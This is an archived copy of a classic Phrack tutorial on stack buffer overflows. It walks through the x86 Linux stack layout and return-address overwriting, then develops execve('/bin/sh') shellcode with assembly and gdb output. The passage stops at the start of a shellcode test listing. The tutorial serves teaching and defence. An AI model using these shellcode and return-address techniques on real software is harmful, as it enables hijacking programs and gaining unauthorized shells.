home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / library / hack / stack.txt / stack.txt
Text File  |  1998-03-25  |  64KB  |  1,571 lines

  1.                               == Phrack 49 ==
  2.                       Volume Seven, Issue Forty-Nine
  3.                                File 14 of 16
  4.            -----------------------------------------------------
  5.             Brought to you by BugTraq, r00t, and Underground.Org
  6.                                by Aleph One
  7.  
  8.         `smash the stack` [C programming] n. On many C implementations
  9.         it is possible to corrupt the execution stack by writing past
  10.         the end of an array declared auto in a routine.  Code that does
  11.         this is said to smash the stack, and can cause return from the
  12.         routine to jump to a random address.  This can produce some of
  13.         the most insidious data-dependent bugs known to mankind.
  14.         Variants include trash the stack, scribble the stack, mangle
  15.         the stack; the term mung the stack is not used, as this is
  16.         never done intentionally. See spam; see also alias bug,
  17.         fandango on core, memory leak, precedence lossage, overrun screw.
  18.  
  19. Introduction
  20.  
  21. Over the last few months there has been a large increase of buffer overflow
  22. vulnerabilities being both discovered and exploited. Examples of these are
  23. syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc.
  24. This paper attempts to explain what buffer overflows are, and how their
  25. exploits work.
  26.  
  27. Basic knowledge of assembly is required. An understanding of virtual memory
  28. concepts, and experience with gdb are very helpful but not necessary. We
  29. also assume we are working with an Intel x86 CPU, and that the operating
  30. system is Linux.
  31.  
  32. Some basic definitions before we begin: A buffer is simply a contiguous
  33. block of computer memory that holds multiple instances of the same data
  34. type. C programmers normally associate with the word buffer arrays. Most
  35. commonly, character arrays. Arrays, like all variables in C, can be
  36. declared either static or dynamic. Static variables are allocated at load
  37. time on the data segment. Dynamic variables are allocated at run time on
  38. the stack. To overflow is to flow, or fill over the top, brims, or bounds.
  39. We will concern ourselves only with the overflow of dynamic buffers,
  40. otherwise known as stack-based buffer overflows.
  41.  
  42. Process Memory Organization
  43.  
  44. To understand what stack buffers are we must first understand how a process
  45. is organized in memory. Processes are divided into three regions: Text,
  46. Data, and Stack. We will concentrate on the stack region, but first a small
  47. overview of the other regions is in order.
  48.  
  49. The text region is fixed by the program and includes code (instructions)
  50. and read-only data. This region corresponds to the text section of the
  51. executable file. This region is normally marked read-only and any attempt
  52. to write to it will result in a segmentation violation.
  53.  
  54. The data region contains initialized and uninitialized data. Static
  55. variables are stored in this region. The data region corresponds to the
  56. data-bss sections of the executable file. Its size can be changed with the
  57. brk(2) system call. If the expansion of the bss data or the user stack
  58. exhausts available memory, the process is blocked and is rescheduled to run
  59. again with a larger memory space. New memory is added between the data and
  60. stack segments.
  61.  
  62.  
  63.                              /------------------\  lower
  64.                              |                  |  memory
  65.                              |       Text       |  addresses
  66.                              |                  |
  67.                              |------------------|
  68.                              |   (Initialized)  |
  69.                              |        Data      |
  70.                              |  (Uninitialized) |
  71.                              |------------------|
  72.                              |                  |
  73.                              |       Stack      |  higher
  74.                              |                  |  memory
  75.                              \------------------/  addresses
  76.  
  77.                          Fig. 1 Process Memory Regions
  78.  
  79. What Is A Stack?
  80.  
  81. A stack is an abstract data type frequently used in computer science. A
  82. stack of objects has the property that the last object placed on the stack
  83. will be the first object removed. This property is commonly referred to as
  84. last in, first out queue, or a LIFO.
  85.  
  86. Several operations are defined on stacks. Two of the most important are
  87. PUSH and POP. PUSH adds an element at the top of the stack. POP, in
  88. contrast, reduces the stack size by one by removing the last element at the
  89. top of the stack.
  90.  
  91. Why Do We Use A Stack?
  92.  
  93. Modern computers are designed with the need of high-level languages in
  94. mind. The most important technique for structuring programs introduced by
  95. high-level languages is the procedure or function. From one point of view,
  96. a procedure call alters the flow of control just as a jump does, but unlike
  97. a jump, when finished performing its task, a function returns control to
  98. the statement or instruction following the call. This high-level
  99. abstraction is implemented with the help of the stack.
  100.  
  101. The stack is also used to dynamically allocate the local variables used in
  102. functions, to pass parameters to the functions, and to return values from
  103. the function.
  104.  
  105. The Stack Region
  106.  
  107. A stack is a contiguous block of memory containing data. A register called
  108. the stack pointer (SP) points to the top of the stack. The bottom of the
  109. stack is at a fixed address. Its size is dynamically adjusted by the kernel
  110. at run time. The CPU implements instructions to PUSH onto and POP off of
  111. the stack.
  112.  
  113. The stack consists of logical stack frames that are pushed when calling a
  114. function and popped when returning. A stack frame contains the parameters
  115. to a function, its local variables, and the data necessary to recover the
  116. previous stack frame, including the value of the instruction pointer at the
  117. time of the function call.
  118.  
  119. Depending on the implementation the stack will either grow down (towards
  120. lower memory addresses), or up. In our examples we'll use a stack that
  121. grows down. This is the way the stack grows on many computers including the
  122. Intel, Motorola, SPARC and MIPS processors. The stack pointer (SP) is also
  123. implementation dependent. It may point to the last address on the stack, or
  124. to the next free available address after the stack. For our discussion
  125. we'll assume it points to the last address on the stack.
  126.  
  127. In addition to the stack pointer, which points to the top of the stack
  128. (lowest numerical address), it is often convenient to have a frame pointer
  129. (FP) which points to a fixed location within a frame. Some texts also refer
  130. to it as a local base pointer (LB). In principle, local variables could be
  131. referenced by giving their offsets from SP. However, as words are pushed
  132. onto the stack and popped from the stack, these offsets change. Although in
  133. some cases the compiler can keep track of the number of words on the stack
  134. and thus correct the offsets, in some cases it cannot, and in all cases
  135. considerable administration is required. Futhermore, on some machines, such
  136. as Intel-based processors, accessing a variable at a known distance from SP
  137. requires multiple instructions.
  138.  
  139. Consequently, many compilers use a second register, FP, for referencing
  140. both local variables and parameters because their distances from FP do not
  141. change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this
  142. purpose. On the Motorola CPUs, any address register except A7 (the stack
  143. pointer) will do. Because the way our stack grows, actual parameters have
  144. positive offsets and local variables have negative offsets from FP.
  145.  
  146. The first thing a procedure must do when called is save the previous FP (so
  147. it can be restored at procedure exit). Then it copies SP into FP to create
  148. the new FP, and advances SP to reserve space for the local variables. This
  149. code is called the procedure prolog. Upon procedure exit, the stack must be
  150. cleaned up again, something called the procedure epilog. The Intel ENTER
  151. and LEAVE instructions and the Motorola LINK and UNLINK instructions, have
  152. been provided to do most of the procedure prolog and epilog work
  153. efficiently.
  154.  
  155. Let us see what the stack looks like in a simple example:
  156.  
  157. example1.c:
  158. ------------------------------------------------------------------------------
  159. void function(int a, int b, int c) {
  160.    char buffer1[5];
  161.    char buffer2[10];
  162. }
  163.  
  164. void main() {
  165.   function(1,2,3);
  166. }
  167. ------------------------------------------------------------------------------
  168.  
  169. To understand what the program does to call function() we compile it with
  170. gcc using the -S switch to generate assembly code output:
  171.  
  172. $ gcc -S -o example1.s example1.c
  173.  
  174. By looking at the assembly language output we see that the call to
  175. function() is translated to:
  176.  
  177.         pushl $3
  178.         pushl $2
  179.         pushl $1
  180.         call function
  181.  
  182. This pushes the 3 arguments to function backwards into the stack, and calls
  183. function(). The instruction 'call' will push the instruction pointer (IP)
  184. onto the stack. We'll call the saved IP the return address (RET). The first
  185. thing done in function is the procedure prolog:
  186.  
  187.         pushl %ebp
  188.         movl %esp,%ebp
  189.         subl $20,%esp
  190.  
  191. This pushes EBP, the frame pointer, onto the stack. It then copies the
  192. current SP onto EBP, making it the new FP pointer. We'll call the saved FP
  193. pointer SFP. It then allocates space for the local variables by subtracting
  194. their size from SP.
  195.  
  196. We must remember that memory can only be addressed in multiples of the word
  197. size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer is
  198. really going to take 8 bytes (2 words) of memory, and our 10 byte buffer is
  199. going to take 12 bytes (3 words) of memory. That is why SP is being
  200. subtracted by 20. With that in mind our stack looks like this when
  201. function() is called (each space represents a byte):
  202.  
  203. bottom of                                                            top of
  204. memory                                                               memory
  205.            buffer2       buffer1   sfp   ret   a     b     c
  206. <------   [            ][        ][    ][    ][    ][    ][    ]
  207.  
  208. top of                                                            bottom of
  209. stack                                                                 stack
  210.  
  211. Buffer Overflows
  212.  
  213. A buffer overflow is the result of stuffing more data into a buffer than it
  214. can handle. How can this often found programming error can be taken
  215. advantage to execute arbitrary code? Lets look at another example:
  216.  
  217. example2.c
  218. ------------------------------------------------------------------------------
  219. void function(char *str) {
  220.    char buffer[16];
  221.  
  222.    strcpy(buffer,str);
  223. }
  224.  
  225. void main() {
  226.   char large_string[256];
  227.   int i;
  228.  
  229.   for( i = 0; i < 255; i++)
  230.     large_string[i] = 'A';
  231.  
  232.   function(large_string);
  233. }
  234. ------------------------------------------------------------------------------
  235.  
  236. This is program has a function with a typical buffer overflow coding error.
  237. The function copies a supplied string without bounds checking by using
  238. strcpy() instead of strncpy(). If you run this program you will get a
  239. segmentation violation. Lets see what its stack looks when we call
  240. function:
  241.  
  242. bottom of                                                            top of
  243. memory                                                               memory
  244.                   buffer            sfp   ret   *str
  245. <------          [                ][    ][    ][    ]
  246.  
  247. top of                                                            bottom of
  248. stack                                                                 stack
  249.  
  250. What is going on here? Why do we get a segmentation violation? Simple.
  251. strcpy() is coping the contents of *str (larger_string[]) into buffer[]
  252. until a null character is found on the string. As we can see buffer[] is
  253. much smaller than *str. buffer[] is 16 bytes long, and we are trying to
  254. stuff it with 256 bytes. This means that all 250 bytes after buffer in the
  255. stack are being overwritten. This includes the SFP, RET, and even *str! We
  256. had filled large_string with the character 'A'. It's hex character value is
  257. 0x41. That means that the return address is now 0x41414141. This is outside
  258. of the process address space. That is why when the function returns and
  259. tries to read the next instruction from that address you get a segmentation
  260. violation.
  261.  
  262. So a buffer overflow allows us to change the return address of a function.
  263. In this way we can change the flow of execution of the program. Lets go
  264. back to our first example and recall what the stack looked like:
  265.  
  266. bottom of                                                            top of
  267. memory                                                               memory
  268.            buffer2       buffer1   sfp   ret   a     b     c
  269. <------   [            ][        ][    ][    ][    ][    ][    ]
  270.  
  271. top of                                                            bottom of
  272. stack                                                                 stack
  273.  
  274. Lets try to modify our first example so that it overwrites the return
  275. address, and demonstrate how we can make it execute arbitrary code. Just
  276. before buffer1[] on the stack is SFP, and before it, the return address.
  277. That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is
  278. really 2 word so its 8 bytes long. So the return address is 12 bytes from
  279. the start of buffer1[]. We'll modify the return value in such a way that
  280. the assignment statement 'x = 1;' after the function call will be jumped.
  281. To do so we add 8 bytes to the return address. Our code is now:
  282.  
  283. example3.c:
  284. ------------------------------------------------------------------------------
  285. void function(int a, int b, int c) {
  286.    char buffer1[5];
  287.    char buffer2[10];
  288.    int *ret;
  289.  
  290.    ret = buffer1 + 12;
  291.    (*ret) += 8;
  292. }
  293.  
  294. void main() {
  295.   int x;
  296.  
  297.   x = 0;
  298.   function(1,2,3);
  299.   x = 1;
  300.   printf("%d\n",x);
  301. }
  302. ------------------------------------------------------------------------------
  303.  
  304. What we have done is add 12 to buffer1[]'s address. This new address is
  305. where the return address is stored. We want to skip pass the assignment to
  306. the printf call. How did we know to add 8 to the return address? We used a
  307. test value first (for example 1), compiled the program, and then started
  308. gdb:
  309.  
  310. ------------------------------------------------------------------------------
  311. [aleph1]$ gdb example3
  312. GDB is free software and you are welcome to distribute copies of it
  313.  under certain conditions; type "show copying" to see the conditions.
  314. There is absolutely no warranty for GDB; type "show warranty" for details.
  315. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  316. (no debugging symbols found)...
  317. (gdb) disassemble main
  318. Dump of assembler code for function main:
  319. 0x8000490 <main>:       pushl  %ebp
  320. 0x8000491 <main+1>:     movl   %esp,%ebp
  321. 0x8000493 <main+3>:     subl   $0x4,%esp
  322. 0x8000496 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
  323. 0x800049d <main+13>:    pushl  $0x3
  324. 0x800049f <main+15>:    pushl  $0x2
  325. 0x80004a1 <main+17>:    pushl  $0x1
  326. 0x80004a3 <main+19>:    call   0x8000470
  327. 0x80004a8 <main+24>:    addl   $0xc,%esp
  328. 0x80004ab <main+27>:    movl   $0x1,0xfffffffc(%ebp)
  329. 0x80004b2 <main+34>:    movl   0xfffffffc(%ebp),%eax
  330. 0x80004b5 <main+37>:    pushl  %eax
  331. 0x80004b6 <main+38>:    pushl  $0x80004f8
  332. 0x80004bb <main+43>:    call   0x8000378
  333. 0x80004c0 <main+48>:    addl   $0x8,%esp
  334. 0x80004c3 <main+51>:    movl   %ebp,%esp
  335. 0x80004c5 <main+53>:    popl   %ebp
  336. 0x80004c6 <main+54>:    ret
  337. 0x80004c7 <main+55>:    nop
  338. ------------------------------------------------------------------------------
  339.  
  340. We can see that when calling function() the RET will be 0x8004a8, and we
  341. want to jump past the assignment at 0x80004ab. The next instruction we want
  342. to execute is the at 0x8004b2. A little math tells us the distance is 8
  343. bytes.
  344.  
  345. Shell Code
  346.  
  347. So now that we know that we can modify the return address and the flow of
  348. execution, what program do we want to execute? In most cases we'll simply
  349. want the program to spawn a shell. From the shell we can then issue other
  350. commands as we wish. But what if there is no such code in the program we
  351. are trying to exploit? How can we place arbitrary instruction into its
  352. address space? The answer is to place the code with are trying to execute
  353. in the buffer we are overflowing, and overwrite the return address so it
  354. points back into the buffer. Assuming the stack starts at address 0xFF, and
  355. that S stands for the code we want to execute the stack would then look
  356. like this:
  357.  
  358. bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
  359. memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
  360.            buffer                sfp   ret   a     b     c
  361.  
  362. <------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
  363.            ^                            |
  364.            |____________________________|
  365. top of                                                            bottom of
  366. stack                                                                 stack
  367.  
  368. The code to spawn a shell in C looks like:
  369.  
  370. shellcode.c
  371. -----------------------------------------------------------------------------
  372. #include
  373.  
  374. void main() {
  375.    char *name[2];
  376.  
  377.    name[0] = "/bin/sh";
  378.    name[1] = NULL;
  379.    execve(name[0], name, NULL);
  380. }
  381. ------------------------------------------------------------------------------
  382.  
  383. To find out what does it looks like in assembly we compile it, and start up
  384. gdb. Remember to use the -static flag. Otherwise the actual code the for
  385. the execve system call will not be included. Instead there will be a
  386. reference to dynamic C library that would normally would be linked in at
  387. load time.
  388.  
  389. ------------------------------------------------------------------------------
  390. [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
  391. [aleph1]$ gdb shellcode
  392. GDB is free software and you are welcome to distribute copies of it
  393.  under certain conditions; type "show copying" to see the conditions.
  394. There is absolutely no warranty for GDB; type "show warranty" for details.
  395. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  396. (gdb) disassemble main
  397. Dump of assembler code for function main:
  398. 0x8000130 <main>:       pushl  %ebp
  399. 0x8000131 <main+1>:     movl   %esp,%ebp
  400. 0x8000133 <main+3>:     subl   $0x8,%esp
  401. 0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
  402. 0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
  403. 0x8000144 <main+20>:    pushl  $0x0
  404. 0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
  405. 0x8000149 <main+25>:    pushl  %eax
  406. 0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
  407. 0x800014d <main+29>:    pushl  %eax
  408. 0x800014e <main+30>:    call   0x80002bc <__execve>
  409. 0x8000153 <main+35>:    addl   $0xc,%esp
  410. 0x8000156 <main+38>:    movl   %ebp,%esp
  411. 0x8000158 <main+40>:    popl   %ebp
  412. 0x8000159 <main+41>:    ret
  413. End of assembler dump.
  414. (gdb) disassemble __execve
  415. Dump of assembler code for function __execve:
  416. 0x80002bc <__execve>:   pushl  %ebp
  417. 0x80002bd <__execve+1>: movl   %esp,%ebp
  418. 0x80002bf <__execve+3>: pushl  %ebx
  419. 0x80002c0 <__execve+4>: movl   $0xb,%eax
  420. 0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
  421. 0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
  422. 0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
  423. 0x80002ce <__execve+18>:        int    $0x80
  424. 0x80002d0 <__execve+20>:        movl   %eax,%edx
  425. 0x80002d2 <__execve+22>:        testl  %edx,%edx
  426. 0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
  427. 0x80002d6 <__execve+26>:        negl   %edx
  428. 0x80002d8 <__execve+28>:        pushl  %edx
  429. 0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
  430. 0x80002de <__execve+34>:        popl   %edx
  431. 0x80002df <__execve+35>:        movl   %edx,(%eax)
  432. 0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
  433. 0x80002e6 <__execve+42>:        popl   %ebx
  434. 0x80002e7 <__execve+43>:        movl   %ebp,%esp
  435. 0x80002e9 <__execve+45>:        popl   %ebp
  436. 0x80002ea <__execve+46>:        ret
  437. 0x80002eb <__execve+47>:        nop
  438. End of assembler dump.
  439. ------------------------------------------------------------------------------
  440.  
  441. Lets try to understand what is going on here. We'll start by studying main:
  442.  
  443. ------------------------------------------------------------------------------
  444.  
  445. 0x8000130 <main>:       pushl  %ebp
  446. 0x8000131 <main+1>:     movl   %esp,%ebp
  447. 0x8000133 <main+3>:     subl   $0x8,%esp
  448.  
  449.      This is the procedure prelude. It first saves the old frame pointer,
  450.      makes the current stack pointer the new frame pointer, and leaves
  451.      space for the local variables. In this case its:
  452.  
  453.      char *name[2];
  454.  
  455.      or 2 pointers to a char. Pointers are a word long, so it leaves space
  456.      for two words (8 bytes).
  457.  
  458. 0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
  459.  
  460.      We copy the value 0x80027b8 (the address of the string "/bin/sh") into
  461.      the first pointer of name[]. This is equivalent to:
  462.  
  463.      name[0] = "/bin/sh";
  464.  
  465. 0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
  466.  
  467.      We copy the value 0x0 (NULL) into the seconds pointer of name[]. This
  468.      is equivalent to:
  469.  
  470.      name[1] = NULL;
  471.  
  472.      The actual call to execve() starts here.
  473.  
  474. 0x8000144 <main+20>:    pushl  $0x0
  475.  
  476.      We push the arguments to execve() in reverse order onto the stack. We
  477.      start with NULL.
  478.  
  479. 0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
  480.  
  481.      We load the address of name[] into the EAX register.
  482.  
  483. 0x8000149 <main+25>:    pushl  %eax
  484.  
  485.      We push the address of name[] onto the stack.
  486.  
  487. 0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
  488.  
  489.      We load the address of the string "/bin/sh" into the EAX register.
  490.  
  491. 0x800014d <main+29>:    pushl  %eax
  492.  
  493.      We push the address of the string "/bin/sh" onto the stack.
  494.  
  495. 0x800014e <main+30>:    call   0x80002bc <__execve>
  496.  
  497.      Call the library procedure execve(). The call instruction pushes the
  498.      IP onto the stack.
  499.  
  500. ------------------------------------------------------------------------------
  501.  
  502. Now execve(). Keep in mind we are using a Intel based Linux system. The
  503. syscall details will change from OS to OS, and from CPU to CPU. Some will
  504. pass the arguments on the stack, others on the registers. Some use a
  505. software interrupt to jump to kernel mode, others use a far call. Linux
  506. passes its arguments to the system call on the registers, and uses a
  507. software interrupt to jump into kernel mode.
  508.  
  509. ------------------------------------------------------------------------------
  510.  
  511. 0x80002bc <__execve>:   pushl  %ebp
  512. 0x80002bd <__execve+1>: movl   %esp,%ebp
  513. 0x80002bf <__execve+3>: pushl  %ebx
  514.  
  515.      The procedure prelude.
  516.  
  517. 0x80002c0 <__execve+4>: movl   $0xb,%eax
  518.  
  519.      Copy 0xb (11 decimal) onto the stack. This is the index into the
  520.      syscall table. 11 is execve.
  521.  
  522. 0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
  523.  
  524.      Copy the address of "/bin/sh" into EBX.
  525.  
  526. 0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
  527.  
  528.      Copy the address of name[] into ECX.
  529.  
  530. 0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
  531.  
  532.      Copy the address of the null pointer into %edx.
  533.  
  534. 0x80002ce <__execve+18>:        int    $0x80
  535.  
  536.      Change into kernel mode.
  537.  
  538. ------------------------------------------------------------------------------
  539.  
  540. So as we can see there is not much to the execve() system call. All we need
  541. to do is:
  542.  
  543.   1. Have the null terminated string "/bin/sh" somewhere in memory.
  544.   2. Have the address of the string "/bin/sh" somewhere in memory followed
  545.      by a null long word.
  546.   3. Copy 0xb into the EAX register.
  547.   4. Copy the address of the address of the string "/bin/sh" into the EBX
  548.      register.
  549.   5. Copy the address of the string "/bin/sh" into the ECX register.
  550.   6. Copy the address of the null long word into the EDX register.
  551.   7. Execute the int $0x80 instruction.
  552.  
  553. But what if the execve() call fails for some reason? The program will
  554. continue fetching instructions from the stack, which may contain random
  555. data! The program will most likely core dump. We want the program to exit
  556. cleanly if the execve syscall fails. To accomplish this we must then add a
  557. exit syscall after the execve syscall. What does the exit syscall looks
  558. like?
  559.  
  560. exit.c
  561. ------------------------------------------------------------------------------
  562. #include
  563.  
  564. void main() {
  565.         exit(0);
  566. }
  567. ------------------------------------------------------------------------------
  568.  
  569. ------------------------------------------------------------------------------
  570. [aleph1]$ gcc -o exit -static exit.c
  571. [aleph1]$ gdb exit
  572. GDB is free software and you are welcome to distribute copies of it
  573.  under certain conditions; type "show copying" to see the conditions.
  574. There is absolutely no warranty for GDB; type "show warranty" for details.
  575. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  576. (no debugging symbols found)...
  577. (gdb) disassemble _exit
  578. Dump of assembler code for function _exit:
  579. 0x800034c <_exit>:      pushl  %ebp
  580. 0x800034d <_exit+1>:    movl   %esp,%ebp
  581. 0x800034f <_exit+3>:    pushl  %ebx
  582. 0x8000350 <_exit+4>:    movl   $0x1,%eax
  583. 0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
  584. 0x8000358 <_exit+12>:   int    $0x80
  585. 0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
  586. 0x800035d <_exit+17>:   movl   %ebp,%esp
  587. 0x800035f <_exit+19>:   popl   %ebp
  588. 0x8000360 <_exit+20>:   ret
  589. 0x8000361 <_exit+21>:   nop
  590. 0x8000362 <_exit+22>:   nop
  591. 0x8000363 <_exit+23>:   nop
  592. End of assembler dump.
  593. ------------------------------------------------------------------------------
  594.  
  595. The exit syscall will place 0x1 in EAX, place the exit code in EBX, and
  596. execute "int 0x80". That's it. Most applications return 0 on exit to
  597. indicate no errors. We will place 0 in EBX. Our list of steps is now:
  598.  
  599.   1. Have the null terminated string "/bin/sh" somewhere in memory.
  600.   2. Have the address of the string "/bin/sh" somewhere in memory followed
  601.      by a null long word.
  602.   3. Copy 0xb into the EAX register.
  603.   4. Copy the address of the address of the string "/bin/sh" into the EBX
  604.      register.
  605.   5. Copy the address of the string "/bin/sh" into the ECX register.
  606.   6. Copy the address of the null long word into the EDX register.
  607.   7. Execute the int $0x80 instruction.
  608.   8. Copy 0x1 into the EAX register.
  609.   9. Copy 0x0 into the EBX register.
  610.  10. Execute the int $0x80 instruction.
  611.  
  612. Trying to put this together in assembly language, placing the string after
  613. the code, and remembering we will place the address of the string, and null
  614. word after the array, we have:
  615.  
  616. ------------------------------------------------------------------------------
  617.         movl   string_addr,string_addr_addr
  618.         movb   $0x0,null_byte_addr
  619.         movl   $0x0,null_addr
  620.         movl   $0xb,%eax
  621.         movl   string_addr,%ebx
  622.         leal   string_addr,%ecx
  623.         leal   null_string,%edx
  624.         int    $0x80
  625.         movl   $0x1, %eax
  626.         movl   $0x0, %ebx
  627.         Int    $0x80
  628.         /bin/sh string goes here.
  629. ------------------------------------------------------------------------------
  630.  
  631. The problem is that we don't know where in the memory space of the program
  632. we are trying to exploit the code (and the string that follows it) will be
  633. placed. One way around it is to use a JMP, and a CALL instruction. The JMP
  634. and CALL instructions can use IP relative addressing, which means we can
  635. jump to an offset from the current IP without needing to know the exact
  636. address of where in memory we want to jump to. If we place a CALL
  637. instruction right before the "/bin/sh" string, and a JMP instruction to it,
  638. the strings address will be pushed onto the stack as the return address
  639. when CALL is executed. All we need then is to copy the return address into
  640. a register. The CALL instruction can simply call the start of our code
  641. above. Assuming now that J stands for the JMP instruction, C for the CALL
  642. instruction, and s for the string, the execution flow would now be:
  643.  
  644. bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
  645. memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
  646.            buffer                sfp   ret   a     b     c
  647.  
  648. <------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
  649.            ^|^             ^|            |
  650.            |||_____________||____________| (1)
  651.        (2)  ||_____________||
  652.              |______________| (3)
  653. top of                                                            bottom of
  654. stack                                                                 stack
  655.  
  656. With this modifications, using indexed addressing, and writing down how
  657. many bytes each instruction takes our code looks like:
  658.  
  659. ------------------------------------------------------------------------------
  660.         jmp    offset-to-call           # 2 bytes
  661.         popl   %esi                     # 1 byte
  662.         movl   %esi,array-offset(%esi)  # 3 bytes
  663.         movb   $0x0,nullbyteoffset(%esi)# 4 bytes
  664.         movl   $0x0,null-offset(%esi)   # 7 bytes
  665.         movl   $0xb,%eax                # 5 bytes
  666.         movl   %esi,%ebx                # 2 bytes
  667.         leal   array-offset,(%esi),%ecx # 3 bytes
  668.         leal   null-offset(%esi),%edx   # 3 bytes
  669.         int    $0x80                    # 2 bytes
  670.         movl   $0x1, %eax               # 5 bytes
  671.         movl   $0x0, %ebx               # 5 bytes
  672.         int    $0x80                    # 2 bytes
  673.         call   offset-to-popl           # 5 bytes
  674.         /bin/sh string goes here.
  675. ------------------------------------------------------------------------------
  676.  
  677. Calculating the offsets from jmp to call, from call to popl, from the
  678. string address to the array, and from the string address to the null long
  679. word, we now have:
  680.  
  681. ------------------------------------------------------------------------------
  682.         jmp    0x26                     # 2 bytes
  683.         popl   %esi                     # 1 byte
  684.         movl   %esi,0x8(%esi)           # 3 bytes
  685.         movb   $0x0,0x7(%esi)           # 4 bytes
  686.         movl   $0x0,0xc(%esi)           # 7 bytes
  687.         movl   $0xb,%eax                # 5 bytes
  688.         movl   %esi,%ebx                # 2 bytes
  689.         leal   0x8(%esi),%ecx           # 3 bytes
  690.         leal   0xc(%esi),%edx           # 3 bytes
  691.         int    $0x80                    # 2 bytes
  692.         movl   $0x1, %eax               # 5 bytes
  693.         movl   $0x0, %ebx               # 5 bytes
  694.         int    $0x80                    # 2 bytes
  695.         call   -0x2b                    # 5 bytes
  696.         .string \"/bin/sh\"             # 8 bytes
  697. ------------------------------------------------------------------------------
  698.  
  699. Looks good. To make sure it works correctly we must compile it and run it.
  700. But there is a problem. Our code modifies itself, but most operating system
  701. mark code pages read-only. To get around this restriction we must place the
  702. code we wish to execute in the stack or data segment, and transfer control
  703. to it. To do so we will place our code in a global array in the data
  704. segment. We need first a hex representation of the binary code. Lets
  705. compile it first, and then use gdb to obtain it.
  706.  
  707. shellcodeasm.c
  708. ------------------------------------------------------------------------------
  709. void main() {
  710. __asm__("
  711.         jmp    0x2a                     # 3 bytes
  712.         popl   %esi                     # 1 byte
  713.         movl   %esi,0x8(%esi)           # 3 bytes
  714.         movb   $0x0,0x7(%esi)           # 4 bytes
  715.         movl   $0x0,0xc(%esi)           # 7 bytes
  716.         movl   $0xb,%eax                # 5 bytes
  717.         movl   %esi,%ebx                # 2 bytes
  718.         leal   0x8(%esi),%ecx           # 3 bytes
  719.         leal   0xc(%esi),%edx           # 3 bytes
  720.         int    $0x80                    # 2 bytes
  721.         movl   $0x1, %eax               # 5 bytes
  722.         movl   $0x0, %ebx               # 5 bytes
  723.         int    $0x80                    # 2 bytes
  724.         call   -0x2f                    # 5 bytes
  725.         .string \"/bin/sh\"             # 8 bytes
  726. ");
  727. }
  728. ------------------------------------------------------------------------------
  729.  
  730. ------------------------------------------------------------------------------
  731. [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
  732. [aleph1]$ gdb shellcodeasm
  733. GDB is free software and you are welcome to distribute copies of it
  734.  under certain conditions; type "show copying" to see the conditions.
  735. There is absolutely no warranty for GDB; type "show warranty" for details.
  736. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  737. (gdb) disassemble main
  738. Dump of assembler code for function main:
  739. 0x8000130 <main>:       pushl  %ebp
  740. 0x8000131 <main+1>:     movl   %esp,%ebp
  741. 0x8000133 <main+3>:     jmp    0x800015f
  742. 0x8000135 <main+5>:     popl   %esi
  743. 0x8000136 <main+6>:     movl   %esi,0x8(%esi)
  744. 0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
  745. 0x800013d <main+13>:    movl   $0x0,0xc(%esi)
  746. 0x8000144 <main+20>:    movl   $0xb,%eax
  747. 0x8000149 <main+25>:    movl   %esi,%ebx
  748. 0x800014b <main+27>:    leal   0x8(%esi),%ecx
  749. 0x800014e <main+30>:    leal   0xc(%esi),%edx
  750. 0x8000151 <main+33>:    int    $0x80
  751. 0x8000153 <main+35>:    movl   $0x1,%eax
  752. 0x8000158 <main+40>:    movl   $0x0,%ebx
  753. 0x800015d <main+45>:    int    $0x80
  754. 0x800015f <main+47>:    call   0x8000135
  755. 0x8000164 <main+52>:    das
  756. 0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
  757. 0x8000168 <main+56>:    das
  758. 0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
  759. 0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
  760. End of assembler dump.
  761. (gdb) x/bx main+3
  762. 0x8000133 <main+3>:     0xeb
  763. (gdb)
  764. 0x8000134 <main+4>:     0x2a
  765. (gdb)
  766. .
  767. .
  768. .
  769. ------------------------------------------------------------------------------
  770.  
  771. testsc.c
  772. ------------------------------------------------------------------------------
  773. char shellcode[] =
